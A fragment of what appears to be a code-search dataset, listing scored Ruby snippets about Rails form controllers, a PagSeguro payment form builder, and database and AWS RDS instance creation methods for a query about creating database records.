"0.5962415", "text": "def index\n @forma_pagos = FormaPago.all\n end", "title": "" }, { "docid": "8ba544b9f90f525f7dfe545ebb321496", "score": "0.59616387", "text": "def forms\n @browser.link(:text=>\"Forms\", :class=>\"icon-sakai-metaobj\").click\n Forms.new(@browser)\n end", "title": "" }, { "docid": "8ba544b9f90f525f7dfe545ebb321496", "score": "0.59616387", "text": "def forms\n @browser.link(:text=>\"Forms\", :class=>\"icon-sakai-metaobj\").click\n Forms.new(@browser)\n end", "title": "" }, { "docid": "f45e89e0beb5f81d3ee0aa3d36525bf3", "score": "0.59543", "text": "def index\n @myforms = Myform.all\n end", "title": "" }, { "docid": "96dd4027e71d472714330c0a8d21a155", "score": "0.59533864", "text": "def index\n respond_with :admin, @form, @filled_forms\n end", "title": "" }, { "docid": "ea7061d688abd558e8da94fc1f57c205", "score": "0.5942726", "text": "def index\n @documents = api.form(\"everything\")\n .page(params[:page] ? params[:page] : \"1\")\n .page_size(params[:page_size] ? params[:page_size] : \"20\")\n .submit(ref)\n end", "title": "" }, { "docid": "592f1428e238052ddebc2ea198619aa5", "score": "0.59329224", "text": "def index\n @formularios = Formulario.where(user_id: current_user.id)\n end", "title": "" }, { "docid": "36098fbb86d507df9dcac77331337c98", "score": "0.5932828", "text": "def form_para_compra(produto)\n \n validar_produto produto\n \n result = \"<form target='pagseguro' method='post' action='https://pagseguro.uol.com.br/security/webpagamentos/webpagto.aspx'>\"\n result << \"<input type='hidden' name='email_cobranca' value='#{email}' />\\n\"\n \n result << \"<input type='hidden' name='tipo' value='CP'/>\\n\"\n result << \"<input type='hidden' name='moeda' value='BRL' />\\n\"\n \n result << \"<input type='hidden' name='item_id_1' value='#{produto.id}' />\\n\"\n result << \"<input type='hidden' name='item_descr_1' value='#{produto.descricao}' />\\n\"\n result << \"<input type='hidden' name='item_valor_1' value='#{produto.valor}' />\\n\"\n \n if produto.respond_to? :frete\n result << \"<input type='hidden' name='frete value='#{produto.frete}' /> \\n\"\n else\n result << \"<input type='hidden' name='frete' value='0' />\\n\"\n end\n \n result << \"<input type='hidden' name='item_quant_1' value='1' />\\n\"\n result << \"<input type='hidden' name='peso' value='100' />\\n\"\n \n result << \"\"\"<input type='image' src='https://pagseguro.uol.com.br/Security/Imagens/btnfinalizaBR.jpg' \n name='submit' alt='Pague com PagSeguro - é rápido, grátis e seguro!' />\"\"\"\n result << \"</form>\"\n end", "title": "" }, { "docid": "d7a7e98d8e96cd71f3c9a2f11850051f", "score": "0.5903267", "text": "def index\n @internalformfeilds = Internalformfeild.all\n end", "title": "" }, { "docid": "d257095805903657293b17ed1112142c", "score": "0.5893228", "text": "def index\n @forms = if params[:page_id]\n @page = Page.find(params[:page_id])\n return unless page_administrator!\n session[:edit_form_cancel_path] = forms_path(:page_id => @page.id)\n @page.forms\n else\n return unless administrator!\n session[:edit_form_cancel_path] = forms_path()\n @forms = Form.order('name ASC')\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @forms }\n end\n end", "title": "" }, { "docid": "446f8f520e26dbbdb36a4d0b7027ffff", "score": "0.5889492", "text": "def index\n @giris_forms = GirisForm.all\n end", "title": "" }, { "docid": "6fb35c32850762ed8ed411278d93965c", "score": "0.58764803", "text": "def index\n prepara_form\n @alugueis = Aluguel.all\n end", "title": "" }, { "docid": "af0afa6f9ed63edbf98ffa702c525449", "score": "0.5871869", "text": "def index\n # Filter the forms\n if (defined? params[:type] and !params[:type].nil?)\n @header = t(params[:type])\n @type = params[:type]\n\n if ((defined? params[:sortby] and !params[:sortby].nil?) and defined? params[:order] and !params[:order].nil?)\n @sortby = params[:sortby]\n @order = params[:order]\n else\n @sortby_order = \"\"\n params[:sortby] = nil\n params[:order] = nil\n end\n\n if (@visitation_forms = VisitationForm.get_forms_of_type @user, params[:type], params[:sortby], params[:order], nil, nil, nil, nil, nil, nil) == false\n not_found\n end\n else\n @visitation_forms = Array.new\n end\n\n @total_visitation_forms = @visitation_forms.count\n\n if Rails.env.test?\n @per_page = 5\n else\n @per_page = 15\n end\n\n @pages = (@total_visitation_forms.to_f / @per_page.to_f).ceil\n @current_page = params[:page].nil? ? 1 : params[:page].to_i\n\n if (not defined? params[:page] or params[:page].nil?)\n @visitation_forms = @visitation_forms.first(@per_page)\n else\n start_index = (params[:page].to_i - 1) * @per_page\n end_index = start_index + @per_page - 1\n @visitation_forms = @visitation_forms[start_index..end_index]\n end\n end", "title": "" }, { "docid": "fcb2f2f1b95ed6808c042f231213b48d", "score": "0.5870166", "text": "def all_forms\n self.forms.each_index { |x| puts \"[#{x.to_s}]-------\"; self.forms[x].report }\n nil\n end", "title": "" }, { "docid": "520fa977fbb05b71e20a73eef78bab60", "score": "0.58638", "text": "def osu_form\n data = []\n # get keywords\n data.push(keywords)\n # gets range of posting\n data.push(posted_within)\n # gets location\n data.push(location)\n data\nend", "title": "" }, { "docid": "13aefead838a0046350eb8dfc3a85237", "score": "0.58607167", "text": "def index\n @forms = Form.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @forms }\n end\n end", "title": "" }, { "docid": "24ece5d65bfd5cc58ce1fb4f3638ab36", "score": "0.58589053", "text": "def formulario_params\n params.require(:formulario).permit(:nombre, :fecha, :FdN, :direccion, :sexo, :email, :telefono, :movil, :profesion, :altura, :peso, :motivos, :especialistas, :dieta, :intolerancia, :detalles_1, {limites: []}, :otro_1, :problema1, :p1, :p2, :p3, :problema2, :p4, :p5, :p6, :problema3, :p7, :p8, :p9, :problema4, :p10, :p11, :p12, :otro_2, :medicacion1, :m1, :m2, :m3, :m4, :m5, :m6, :medicacion2, :m7, :m8, :m9, :m10, :m11, :m12, :medicacion3, :m13, :m14, :m15, :m16, :m17, :m18, :otro_3, :suplemento1, :s1, :s2, :s3, :s4, :suplemento2, :s5, :s6, :s7, :s8, :suplemento3, :s9, :s10, :s11, :s12, :otro_4, :madre, :padre, :abuela_mat, :abuela_pat, :abuelo_mat, :abuelo_pat, :hermanos, :hermanas, :tios, :tias, :ninos, :sobrinos, {activa: []}, :ejercicio1, :e1, :e2, :ejercicio2, :e3, :e4, :ejercicio3, :e5, :e6, :otro_5, :fumas1, :fumas2, :fumado, :alcol1, :alcol2, {alergia1: []}, :alergia2, :habitos1, :habitos2, :habitos3, :habitos4, :galletas_tartas_bolleria, :leche, :huevos, :chocolates_dulces, :carne_roja, :carne_blanca, :pescado_blanco, :pezcado_azul, :carne_procesada, :pan, :te, :cafe, :refresco_lata, :agua, :verdura, :ensalada, {tick: []}, :pecho, :dieta_sana, :motivacion, :desayuno1, :desayuno2, :desayuno3, :almuerzo, :almuerzo2, :almuerzo3, :cena1, :cena2, :cena3, :snacks1, :snacks2, :snacks3, :bebidas1, :bebidas2, :bebidas3)\n end", "title": "" }, { "docid": "00e84748cfb20f778058e0c51c60b9e7", "score": "0.5854947", "text": "def form_para_compra(produto)\n\n #validar_produto produto\n\n result = \"<form target='pagseguro' method='post' action='https://pagseguro.uol.com.br/security/webpagamentos/webpagto.aspx'>\"\n result << \"<input type='hidden' name='email_cobranca' value='#{email}' />\\n\"\n\n result << \"<input type='hidden' name='tipo' value='CP'/>\\n\"\n result << \"<input type='hidden' name='moeda' value='BRL' />\\n\"\n\n i = 1\n@order.line_items.each do |item|\n result << \"<input type='hidden' name='item_id_#{i}' value='#{@order.number}' />\\n\"\n result << \"<input type='hidden' name='item_descr_#{i}' value='#{item.variant.product.name}' />\\n\"\n result << \"<input type='hidden' name='item_valor_#{i}' value='#{item.price}' />\\n\"\n result << \"<input type='hidden' name='item_quant_#{i}' value='#{item.quantity}' />\\n\"\n result << \"<input type='hidden' name='item_peso_#{i}' value='#{item.variant.weight.to_i}' />\\n\"\n i += 1\nend\n\n result << \"\"\"<input type='image' src='https://pagseguro.uol.com.br/Security/Imagens/btnfinalizaBR.jpg'\n name='submit' alt='Pague com PagSeguro - é rápido, grátis e seguro!' />\"\"\"\n result << \"</form>\"\n end", "title": "" }, { "docid": "870009979f220e31da755668a6299171", "score": "0.5850798", "text": "def index\n @thing_with_rails_forms = ThingWithRailsForm.all\n end", "title": "" }, { "docid": "6705d2e0ebe2594489492da121e031ce", "score": "0.5846916", "text": "def index\n @forms = Form.all\n\n render json: @forms\n end", "title": "" }, { "docid": "13cc55742e33ba99e3e0ea83a472d934", "score": "0.58447707", "text": "def get_form_parameters\n \t {}\n end", "title": "" }, { "docid": "030fb97c466f00d52860101002f35090", "score": "0.5835561", "text": "def index\n @requisitometrologicos = Requisitometrologico.all\n end", "title": "" }, { "docid": "32e4b7b68942705cc6c5a2b3d8204c28", "score": "0.58336437", "text": "def new\n @perguntum = Perguntum.new \n @pergunta_form = PerguntaForm.new\n @comite = Comite.find(current_comite) #procura o comite onde a quem a pergunta vai pertencer\n \n\n if params[:name] == \"form_membro\" #como existem 2 formularios a nova pergunta pode ser criada \n @formulario = @comite.formularios.formulario_activo(1) # em ambas.esta condicao serve para saber de onde ela vem,\n else # se vem do form_membros ou form_estagio\n @formulario = @comite.formularios.formulario_activo(2) # para saber isso é passado como parametro um tipo\n end\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @perguntum }\n end\n end", "title": "" }, { "docid": "baa97b4b62f7de3ee379f3bfb5a5bc9f", "score": "0.5821626", "text": "def index\n @multistep_forms = MultistepForm.all\n end", "title": "" }, { "docid": "661dacd93887e54b9fc58c7f99a6e2af", "score": "0.5811361", "text": "def index\n @locadoras = Locadora.all\n prepara_form\n end", "title": "" }, { "docid": "311ce7440b5522de804a129905c571dc", "score": "0.5808139", "text": "def form\n @form ||= Form.new(get(\"form/#{all['form_id']}\")).use_api(@api)\n end", "title": "" }, { "docid": "514b4658131fddc5240b8a55303e7468", "score": "0.58030605", "text": "def index\n @forms = ContactForm.all\n end", "title": "" }, { "docid": "136435284bc330cd1de72dbe5a33d7e9", "score": "0.5802438", "text": "def index\n @form_elements = FormElement.all\n end", "title": "" }, { "docid": "0886d4e715b8c8e6eaf7800b30e3f737", "score": "0.5800544", "text": "def index\n @requisicaos = Requisicao.all\n end", "title": "" }, { "docid": "ea27a11d12abfdec8415619873ebdd8e", "score": "0.58002526", "text": "def prepara_form\n @clientes = Cliente.order :nome\n @veiculos = Veiculo.order :modelo\n end", "title": "" }, { "docid": "aa1fac77857b1adbad5ae008e65a0a72", "score": "0.5789133", "text": "def index\n @form_responses = FormResponse.all\n end", "title": "" }, { "docid": "d793c38129f22869f23cb6c5a1b47a2f", "score": "0.57814467", "text": "def display_forms\n content['displayForms'].map { |df| GoodData::Label[df['meta']['uri'], :client => client, :project => project] }\n end", "title": "" }, { "docid": "d90d164e541d4380c8c78ac161e92214", "score": "0.5779605", "text": "def index\n @observacionactividadinformes = Observacionactividadinforme.all\n end", "title": "" }, { "docid": "d61f23acefb92ce2fb018ccef1730a19", "score": "0.575067", "text": "def list_tax_forms(options={}) path = \"/api/v2/definitions/taxforms\"\n get(path, options, AvaTax::VERSION) end", "title": "" }, { "docid": "47ad4edec69163ebe7abb922c18fa33c", "score": "0.57477325", "text": "def index\n @forms = Form.order(created_at: :desc)\n end", "title": "" }, { "docid": "ac16ce39af986060d80b3c4252fd029b", "score": "0.5745561", "text": "def forms_fields(form, action)\n section_fields = []\n form.form_sections.each do |section|\n if section['permissions'][\"#{current_user.role.short_name}\"]\n if section['permissions'][\"#{current_user.role.short_name}\"][action] == '1'\n section_fields << section.section_fields.map do |field|\n if field.field_type.field_type.start_with?('select') && field.field_type.options['multivalue'] == '1'\n { field.id.to_s.to_sym => [] }\n else\n field.id.to_s.to_sym\n end\n end\n end\n end\n end\n section_fields\n end", "title": "" }, { "docid": "240d90ecd712710e6ce6b962fb5c7455", "score": "0.57441455", "text": "def index\n prepara_form\n @veiculos = Veiculo.all#.page(params['page']).per(3) \n @motos = Veiculo.order(\"categoria_id\").where(:categoria_id => 2)\n @carros = Veiculo.order(\"categoria_id\").where(:categoria_id => 1)\n end", "title": "" }, { "docid": "8b35a438bbdbb7003e5b4eb1221b84cd", "score": "0.5743332", "text": "def get_hidden_inputs\n forms = []\n noko = get_html_document\n noko.search(\"form\").each_entry do |form|\n found_inputs = {}\n form.search(\"input\").each_entry do |input|\n input_type = input.attributes['type'] ? input.attributes['type'].value : ''\n next if input_type !~ /hidden/i\n\n input_name = input.attributes['name'] ? input.attributes['name'].value : ''\n input_value = input.attributes['value'] ? input.attributes['value'].value : ''\n found_inputs[input_name] = input_value unless input_name.empty?\n end\n forms << found_inputs unless found_inputs.empty?\n end\n\n forms\n end", "title": "" }, { "docid": "206aaffde729499e3d7adb540292551b", "score": "0.5731058", "text": "def index\n @forms = if params[:page_id]\n @page = Page.find(params[:page_id])\n return unless page_administrator!\n @page.forms\n else\n return unless administrator!\n @forms = Form.order('name ASC')\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @forms }\n end\n end", "title": "" }, { "docid": "c44c38185ecbb3a0c1df75cf6a0ef2b6", "score": "0.573037", "text": "def index\n @form_wrappers = FormWrapper.all.page(params[:page]).per(Rails.configuration.per_page)\n end", "title": "" }, { "docid": "671f1f22235d1450409273bbd90bafc2", "score": "0.57277787", "text": "def index\n @n400_forms = N400Form.all\n end", "title": "" }, { "docid": "3d090c6d7203410a9a2338c1539f22bc", "score": "0.5726161", "text": "def acompanhamento_mes_a_mes_index\n params[:relatorios] ||= {}\n end", "title": "" }, { "docid": "081c36d944d5eaa57c8b7cf018da8621", "score": "0.5723071", "text": "def forms_for identifier\n find_elements(\"forms(identifier)\", Elements::Form, identifier)\n end", "title": "" }, { "docid": "95cf4392ba7d28e517688eddefb9d830", "score": "0.5720296", "text": "def index\n unless params[:all].nil?\n @extraction_forms = ExtractionForm.all\n @title = \"Listing All Extraction Forms\"\n else\n available = User.get_available_extraction_form_ids(current_user.id)\n @extraction_forms = ExtractionForm.find(available).paginate(:page=>params[:page])\n @title = \"Your Extraction Forms\"\n end\n end", "title": "" } ]
7d83898e8c423657f7ab192bded2a749
creates a DBform of the instance
[ { "docid": "561f96da58e5998a3e20d492e46d95b8", "score": "0.0", "text": "def mongoize\n {\n :city => @city, :state => @state, \n :loc => {\n :type => 'Point', :coordinates => [@location.longitude, @location.latitude]\n }\n }\n end", "title": "" } ]
[ { "docid": "79125e2037665e04383aed64eb17a193", "score": "0.68309397", "text": "def db\r\n TransmissionModel.new\r\n end", "title": "" }, { "docid": "6bbbf09b1404436322f670c78800ec72", "score": "0.68179846", "text": "def new\n @db_instance = DbInstance.new\n\n respond_with @db_instance\n end", "title": "" }, { "docid": "456be9429f340a82085f2fde08b5e9b6", "score": "0.67888874", "text": "def create\n @db_instance = DbInstance.new(params[:db_instance])\n\n @db_instance.save\n respond_with @db_instance\n end", "title": "" }, { "docid": "18a18559c0b0586d738cbbb9b581f6dc", "score": "0.65015197", "text": "def create\n\n attribute_symbols = self.class.attributes\n\n instance_varabiable_values = []\n attribute_symbols.each do |instance_var|\n instance_varabiable_values += self.send(instance_var)\n end\n #\n # question_marks = []\n # instance_varabiable_values.count.times {}\n\n DBConnection.execute(<<-SQL, instance_varabiable_values)\n INSERT INTO #{@table_name.pluralize} VALUES\n\n\n\n SQL\n\n\n end", "title": "" }, { "docid": "10680d9c9db09cdc0b3f1a0f2922cfbe", "score": "0.6363537", "text": "def form\n X.find_or_create self\n end", "title": "" }, { "docid": "651d8e72bff4e4e531e9b196f293e98a", "score": "0.6316426", "text": "def create\n save_to_database\n end", "title": "" }, { "docid": "9fc6abba19ec97a30e0b3ca45b22fa42", "score": "0.62963706", "text": "def to_database\n {\n type: self.class.name,\n params: params\n }\n end", "title": "" }, { "docid": "9fc6abba19ec97a30e0b3ca45b22fa42", "score": "0.62963706", "text": "def to_database\n {\n type: self.class.name,\n params: params\n }\n end", "title": "" }, { "docid": "6f7a456605f01ca0d2cadedb4a762e59", "score": "0.62759584", "text": "def build_database(attrs = {})\n attributes = attrs.symbolize_keys\n klass = attributes[:type].safe_constantize\n raise ArgumentError, 'wrong type for database association' if klass.nil?\n\n self.database = klass.new attributes.except(:type)\n end", "title": "" }, { "docid": "6f7a456605f01ca0d2cadedb4a762e59", "score": "0.62759584", "text": "def build_database(attrs = {})\n attributes = attrs.symbolize_keys\n klass = attributes[:type].safe_constantize\n raise ArgumentError, 'wrong type for database association' if klass.nil?\n\n self.database = klass.new attributes.except(:type)\n end", "title": "" }, { "docid": "30bd79851e234f9213e85e2833533aa2", "score": "0.6267001", "text": "def to_db\n Jetpants::DB.new(self.to_s)\n end", "title": "" }, { "docid": "3a7912e8d5e4e0d206f7102c10176ea8", "score": "0.62639433", "text": "def create #insert\n\t\tattr_list = self.class.attributes[1..-1].map do |attr_name|\n\t\t\tself.send(\"#{attr_name}\")\n\t\tend\n\n\t\tattr_names = self.class.attributes[1..-1].join(\", \")\n\t\tquestion_marks = ([\"?\"] * (self.class.attributes.length - 1)).join(\", \")\n\n\t\tDBConnection.execute(<<-SQL, *attr_list)\n INSERT INTO #{self.class.table_name}\n\t\t\t(#{attr_names})\n VALUES (#{question_marks})\n\t\tSQL\n\n\t\tself.id = DBConnection.last_insert_row_id\n end", "title": "" }, { "docid": "55303afbaf42b0b1f484fe1164fc043a", "score": "0.622439", "text": "def create\n attribute_names = self.class.attributes[1..-1].join(\", \")\n attribute_values = self.class.attributes[1..-1].map do |attribute|\n \"'#{send(attribute)}'\"\n end.join(\", \")\n DBConnection.execute(<<-SQL)\n INSERT INTO\n #{self.class.table_name} (#{attribute_names})\n VALUES\n (#{attribute_values})\n SQL\n end", "title": "" }, { "docid": "c738dfb9bce131cb38d1524b0acb407f", "score": "0.6209379", "text": "def createDb\n\t\t\tsnap_id = getExistingSnapshot if @db[\"creation_style\"] == \"existing_snapshot\"\n\t\t\tsnap_id = createNewSnapshot if @db[\"creation_style\"] == \"new_snapshot\" or (@db[\"creation_style\"] == \"existing_snapshot\" and snap_id.nil?)\n\t\t\t@db[\"snapshot_id\"] = snap_id\n\n\t\t\tdb_node_name = MU::MommaCat.getResourceName(@db[\"name\"])\n\n\t\t\t# RDS is picky, we can't just use our regular node names for things like\n\t\t\t# the default schema or username. And it varies from engine to engine.\n\t\t\tbasename = @db[\"name\"]+@deploy.timestamp+MU.seed.downcase\n\t\t\tbasename.gsub!(/[^a-z0-9]/i, \"\")\n\n\t\t\t# Getting engine specific names\n\t\t\tdbname = getName(basename, type: \"dbname\")\n\t\t\t@db['master_user'] = getName(basename, type: \"dbuser\")\n\t\t\t@db['identifier'] = getName(db_node_name, type: \"dbidentifier\")\n\t\t\tMU.log \"Truncated master username for #{@db['identifier']} (db #{dbname}) to #{@db['master_user']}\", MU::WARN if @db['master_user'] != @db[\"name\"] and @db[\"snapshot_id\"].nil?\n\n\t\t\t@db['password'] = Password.pronounceable(10..12) if @db['password'].nil?\n\n\t\t\t# Database instance config\n\t\t\tconfig={\n\t\t\t\tdb_instance_identifier: @db['identifier'],\n\t\t\t\tdb_instance_class: @db[\"size\"],\n\t\t\t\tengine: @db[\"engine\"],\n\t\t\t\tauto_minor_version_upgrade: @db[\"auto_minor_version_upgrade\"],\n\t\t\t\tmulti_az: @db['multi_az_on_create'],\n\t\t\t\tlicense_model: @db[\"license_model\"],\n\t\t\t\tstorage_type: @db['storage_type'],\n\t\t\t\tdb_subnet_group_name: db_node_name,\n\t\t\t\tpublicly_accessible: @db[\"publicly_accessible\"],\n\t\t\t\ttags: []\n\t\t\t}\n\n\t\t\tMU::MommaCat.listStandardTags.each_pair { |name, value|\n\t\t\t\tconfig[:tags] << { key: name, value: value }\n\t\t\t}\n\n\t\t\tconfig[:iops] = @db[\"iops\"] if @db['storage_type'] == \"io1\"\n\n\t\t\t# Lets make sure automatic backups are enabled when DB instance is deployed in Multi-AZ so failover actually works. Maybe default to 1 instead?\n\t\t\tif @db['multi_az_on_create'] or @db['multi_az_on_deploy']\n\t\t\t\tif @db[\"backup_retention_period\"].nil? or @db[\"backup_retention_period\"] == 0\n\t\t\t\t\t@db[\"backup_retention_period\"] = 35\n\t\t\t\t\tMU.log \"Multi-AZ deployment specified but backup retention period disabled or set to 0. Changing to #{@db[\"backup_retention_period\"]} \", MU::WARN\n\t\t\t\tend\n\n\t\t\t\tif @db[\"preferred_backup_window\"].nil?\n\t\t\t\t\t@db[\"preferred_backup_window\"] = \"05:00-05:30\"\n\t\t\t\t\tMU.log \"Multi-AZ deployment specified but no backup window specified. Changing to #{@db[\"preferred_backup_window\"]} \", MU::WARN\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif @db[\"snapshot_id\"].nil?\n\t\t\t\tconfig[:preferred_backup_window] = @db[\"preferred_backup_window\"]\n\t\t\t\tconfig[:backup_retention_period] = @db[\"backup_retention_period\"]\n\t\t\t\tconfig[:storage_encrypted] = @db[\"storage_encrypted\"]\n\t\t\t\tconfig[:engine_version] = @db[\"engine_version\"]\n\t\t\t\tconfig[:preferred_maintenance_window] = @db[\"preferred_maintenance_window\"] if @db[\"preferred_maintenance_window\"]\n\t\t\t\tconfig[:allocated_storage] = @db[\"storage\"]\n\t\t\t\tconfig[:db_name] = dbname\n\t\t\t\tconfig[:master_username] = @db['master_user']\n\t\t\t\tconfig[:master_user_password] = @db['password']\n\t\t\tend\n\n\t\t\tdb_config = createSubnetGroup(config)\n\n\t\t\t# Creating DB instance\n\t\t\tMU.log \"RDS config: #{db_config}\", MU::DEBUG\n\t\t\tattempts = 0\n\t\t\tbegin\n\t\t\t\tif @db[\"snapshot_id\"]\n\t\t\t\t\tdb_config[:db_snapshot_identifier] = @db[\"snapshot_id\"]\n\t\t\t\t\tMU.log \"Creating database instance #{@db['identifier']} from snapshot #{@db[\"snapshot_id\"]}\", details: db_config\n\t\t\t\t\tresp = MU.rds(@db['region']).restore_db_instance_from_db_snapshot(db_config)\n\t\t\t\telse\n\t\t\t\t\tMU.log \"Creating database instance #{@db['identifier']}\", details: db_config\n\t\t\t\t\tresp = MU.rds(@db['region']).create_db_instance(db_config)\n\t\t\t\tend\n\t\t\trescue Aws::RDS::Errors::InvalidParameterValue => e\n\t\t\t\tif attempts < 5\n\t\t\t\t\tMU.log \"Got #{e.inspect} creating #{@db['identifier']}, will retry a few times in case of transient errors.\", MU::WARN\n\t\t\t\t\tattempts += 1\n\t\t\t\t\tsleep 10\n\t\t\t\t\tretry\n\t\t\t\telse\n\t\t\t\t\tMU.log \"Exhausted retries trying to create database instance #{@db['identifier']}\", MU::ERR, details: e.inspect\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tbegin\n\t\t\t\t# this ends in an ensure block that cleans up if we die\n\t\t\t\tdatabase = MU::Database.getDatabaseById(@db['identifier'], region: @db['region'])\n\t\t\t\t# Calling this a second time after the DB instance is ready or DNS record creation will fail.\n\t\t\t\twait_start_time = Time.now\n\n\t\t\t\tMU.rds(@db['region']).wait_until(:db_instance_available, db_instance_identifier: @db['identifier']) do |waiter|\n\t\t\t\t\t# Does create_db_instance implement wait_until_available ?\n\t\t\t\t\twaiter.max_attempts = nil\n\t\t\t\t\twaiter.before_attempt do |attempts|\n\t\t\t\t\t\tMU.log \"Waiting for RDS database #{@db['identifier'] } to be ready..\", MU::NOTICE if attempts % 10 == 0\n\t\t\t\t\tend\n\t\t\t\t\twaiter.before_wait do |attempts, resp|\n\t\t\t\t\t\tthrow :success if resp.data.db_instances.first.db_instance_status == \"available\"\n\t\t\t\t\t\tthrow :failure if Time.now - wait_start_time > 2400\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tdatabase = MU::Database.getDatabaseById(@db['identifier'], region: @db['region'])\n\n\t\t\t\tMU::DNSZone.genericDNSEntry(database.db_instance_identifier, \"#{database.endpoint.address}.\", MU::Database, sync_wait: @db['dns_sync_wait'])\n\t\t\t\tif !@db['dns_records'].nil?\n\t\t\t\t\t@db['dns_records'].each { |dnsrec|\n\t\t\t\t\t\tdnsrec['name'] = database.db_instance_identifier.downcase if !dnsrec.has_key?('name')\n\t\t\t\t\t}\n\t\t\t\tend\n\t\t\t\tMU::DNSZone.createRecordsFromConfig(@db['dns_records'], target: database.endpoint.address)\n\n\t\t\t\t# When creating from a snapshot, some of the create arguments aren't\n\t\t\t\t# applicable- but we can apply them after the fact with a modify.\n\t\t\t\tif @db[\"snapshot_id\"]\n\t\t\t\t\tmod_config = Hash.new\n\t\t\t\t\tmod_config[:db_instance_identifier] = database.db_instance_identifier\n\t\t\t\t\tmod_config[:preferred_backup_window] = @db[\"preferred_backup_window\"]\n\t\t\t\t\tmod_config[:backup_retention_period] = @db[\"backup_retention_period\"]\n\t\t\t\t\tmod_config[:preferred_maintenance_window] = @db[\"preferred_maintenance_window\"] if @db[\"preferred_maintenance_window\"]\n\t\t\t\t\tmod_config[:engine_version] = @db[\"engine_version\"]\n\t\t\t\t\tmod_config[:allow_major_version_upgrade] = @db[\"allow_major_version_upgrade\"] if @db['allow_major_version_upgrade']\n\t\t\t\t\tmod_config[:apply_immediately] = true\n\n\t\t\t\t\tif database.db_subnet_group and database.db_subnet_group.subnets and !database.db_subnet_group.subnets.empty?\n\t\t\t\t\t\tif !db_config.nil? and db_config.has_key?(:vpc_security_group_ids)\n\t\t\t\t\t\t\tmod_config[:vpc_security_group_ids] = db_config[:vpc_security_group_ids]\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif @db[\"add_firewall_rules\"] and !@db[\"add_firewall_rules\"].empty?\n\t\t\t\t\t\t\t@db[\"add_firewall_rules\"].each { |acl|\n\t\t\t\t\t\t\t\tsg = MU::FirewallRule.find(sg_id: acl[\"rule_id\"], name: acl[\"rule_name\"], region: @db['region'])\n\t\t\t\t\t\t\t\tif sg and mod_config[:vpc_security_group_ids].nil?\n\t\t\t\t\t\t\t\t\tmod_config[:vpc_security_group_ids] = []\n\t\t\t\t\t\t\t\tend\t\n\t\t\t\t\t\t\t\tmod_config[:vpc_security_group_ids] << sg.group_id if sg\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\tend\n\t\t\t\t\t# else\n\t\t\t\t\t\t# This doesn't make sense. we don't have a security group by that name, and we should only create this if we're in classic\n\t\t\t\t\t\t# mod_config[:db_security_groups] = [dbname]\n\t\t\t\t\tend\n\n\t\t\t\t\tmod_config[:master_user_password] = @db['password']\n\t\t\t\t\tMU.rds(@db['region']).modify_db_instance(mod_config)\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tMU.rds(@db['region']).wait_until(:db_instance_available, db_instance_identifier: @db['identifier']) do |waiter|\n\t\t\t\t\t\t# Does create_db_instance implement wait_until_available ?\n\t\t\t\t\t\twaiter.max_attempts = nil\n\t\t\t\t\t\twaiter.before_attempt do |attempts|\n\t\t\t\t\t\t\tMU.log \"Waiting for RDS database #{@db['identifier'] } to be ready..\", MU::NOTICE if attempts % 10 == 0\n\t\t\t\t\t\tend\n\t\t\t\t\t\twaiter.before_wait do |attempts, resp|\n\t\t\t\t\t\t\tthrow :success if resp.data.db_instances.first.db_instance_status == \"available\"\n\t\t\t\t\t\t\tthrow :failure if Time.now - wait_start_time > 2400\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tMU::Database.notifyDeploy(@db[\"name\"], @db['identifier'], @db['password'], @db[\"creation_style\"], region: @db['region'])\n\t\t\t\tMU.log \"Database #{@db['identifier']} is ready to use\"\n\t\t\t\tdone = true\n\t\t\tensure\n\t\t\t\tif !done and database\n\t\t\t\t\tMU::Cleanup.terminate_rds_instance(database, region: @db['region'])\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# Maybe wait for DB instance to be in available state. DB should still be writeable at this state\n\t\t\tif @db['allow_major_version_upgrade']\n\t\t\t\tMU.log \"Setting major database version upgrade on #{@db['identifier']}'\"\n\t\t\t\tMU.rds(@db['region']).modify_db_instance(\n\t\t\t\t\tdb_instance_identifier: @db['identifier'],\n\t\t\t\t\tapply_immediately: true,\n\t\t\t\t\tallow_major_version_upgrade: true\n\t\t\t\t)\n\t\t\tend\n\t\t\t\n\t\t\tcreateReadReplica if @db['read_replica']\n\n\t\t\treturn @db['identifier']\n\t\tend", "title": "" }, { "docid": "7df22c9ef16ba01118e93f50923564f0", "score": "0.6193543", "text": "def create\n @db_instance = DbInstance.new(db_instance_params)\n authorize! :create, @db_instance\n\n respond_to do |format|\n if @db_instance.save\n format.html { redirect_to @db_instance, notice: 'Database instance was successfully created.' }\n format.json { render :show, status: :created, location: @db_instance }\n else\n format.html { render :new }\n format.json { render json: @db_instance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3d4e0c94710e6b85807d075e46c7d0c8", "score": "0.6191923", "text": "def create; end", "title": "" }, { "docid": "3d4e0c94710e6b85807d075e46c7d0c8", "score": "0.6191923", "text": "def create; end", "title": "" }, { "docid": "3d4e0c94710e6b85807d075e46c7d0c8", "score": "0.6191923", "text": "def create; end", "title": "" }, { "docid": "3d4e0c94710e6b85807d075e46c7d0c8", "score": "0.6191923", "text": "def create; end", "title": "" }, { "docid": "3d4e0c94710e6b85807d075e46c7d0c8", "score": "0.6191923", "text": "def create; end", "title": "" }, { "docid": "3d4e0c94710e6b85807d075e46c7d0c8", "score": "0.6191923", "text": "def create; end", "title": "" }, { "docid": "5530c0e94ca2caee0d06aeb54153af4e", "score": "0.61853933", "text": "def db\n @db ||= model.db\n end", "title": "" }, { "docid": "5530c0e94ca2caee0d06aeb54153af4e", "score": "0.61853933", "text": "def db\n @db ||= model.db\n end", "title": "" }, { "docid": "80e5b37354dda57fb3616a06af8ae64b", "score": "0.61768353", "text": "def create\n \n end", "title": "" }, { "docid": "66fe98cea91c3e4573640a669a3c00e3", "score": "0.6141664", "text": "def create\n\t end", "title": "" }, { "docid": "f0eb8202efb087392e7081946b19b70a", "score": 